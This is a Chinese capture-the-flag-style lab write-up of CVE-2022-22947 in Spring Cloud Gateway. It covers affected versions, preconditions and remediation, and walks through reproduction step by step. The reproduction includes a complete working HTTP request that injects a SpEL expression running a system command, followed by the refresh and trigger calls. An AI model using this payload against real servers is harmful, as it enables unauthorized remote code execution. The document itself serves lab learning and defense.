[Vulfocus解题系列]spring 命令执行(CVE-2022-22947)

环境部署

使用docker部署环境
在这里插入图片描述

漏洞等级:高危

3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为CVE-2022-22947
Spring官方发布

漏洞描述

使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本

漏洞利用前置条件

除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);

#Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
默认为truemanagement.endpoint.gateway.enabled=true
#以逗号分隔的一系列值,默认为 health
#若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway

解决方案

3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。

复现过程

使用burp抓包,直接上字典扫描目录
在这里插入图片描述

扫描出了存在
/actuator路径,里面有很多spring常见的接口路径
我们先查看路由/actuator/gateway/routes
在这里插入图片描述
然后创建一条包含恶意代码的路由:

POST /actuator/gateway/routes/error HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
  "id": "error",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
接着以POST方法请求
/actuator/gateway/refresh
用于刷新路由,使刚添加的恶意路由生效
在这里插入图片描述
最后以GET方法请求/actuator/gateway/routes
,触发恶意路由,可以 看到之前的id命令被执行了
在这里插入图片描述
真实环境测试时证明漏洞存在后记得将恶意路由删除,使用DELETE
在这里插入图片描述

再次刷新路由/actuator/gateway/refresh,
然后查看路由,恢复到测试之前的样子了:
在这里插入图片描述

参考链接:https://blog.csdn.net/qq_49619863/article/details/127350543
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247490095&idx=1&sn=8bdc76de3ebaa557c9e56b33d803c112&chksm=90393cdfa74eb5c90587c4a6549a6cd9e0aaec2fa53d531c1e1362260b5e6c12c4fa3516cece&scene=27

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-06 20:44:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-06 20:44:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-06 20:44:04       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-06 20:44:04       20 阅读

热门阅读

  1. C++知识点总结(36):二分进阶练习

    2024-06-06 20:44:04       9 阅读
  2. python中的requirements.txt文件用法

    2024-06-06 20:44:04       10 阅读
  3. MySQL之数据库数据库范式学习笔记(二)

    2024-06-06 20:44:04       10 阅读
  4. .Net 基于MiniExcel的导入功能接口示例

    2024-06-06 20:44:04       11 阅读
  5. 洛谷P3214 [HNOI2011] 卡农

    2024-06-06 20:44:04       9 阅读
  6. GIT仓库发布提交

    2024-06-06 20:44:04       7 阅读
  7. 【面试宝藏】Go语言运行时机制面试题

    2024-06-06 20:44:04       8 阅读
  8. vllm lora、gptq、awq推理使用

    2024-06-06 20:44:04       8 阅读
  9. 递推 7-1 sdut-C语言实验-母牛的故事

    2024-06-06 20:44:04       10 阅读